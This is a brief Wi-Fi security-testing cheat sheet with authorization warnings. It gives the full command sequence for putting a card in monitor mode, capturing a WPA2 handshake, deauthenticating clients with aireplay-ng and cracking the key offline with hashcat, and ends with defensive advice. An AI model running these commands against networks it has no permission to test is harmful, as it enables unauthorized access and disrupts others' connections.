Wi-Fi Security Testing

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

⚠️ Only test networks you own. Capturing or deauthing networks you don't control is illegal in most jurisdictions. Use your own AP as the target. See Rules of Engagement and Authorization.

Auditing WPA2-PSK strength by capturing a handshake and cracking it offline.

#Monitor mode

sudo airmon-ng start wlan0           # creates wlan0mon
sudo airodump-ng wlan0mon            # list nearby APs (note BSSID + channel)

#Capture the handshake

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# (optional) force a reconnect on YOUR device to capture the 4-way handshake
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF wlan0mon

#Crack offline

hcxpcapngtool -o wifi.hc22000 cap.pcapng
hashcat -m 22000 wifi.hc22000 rockyou.txt        # see Password Cracking

Defense: long random PSK, WPA3, disable WPS. Cracking covered in Password Cracking.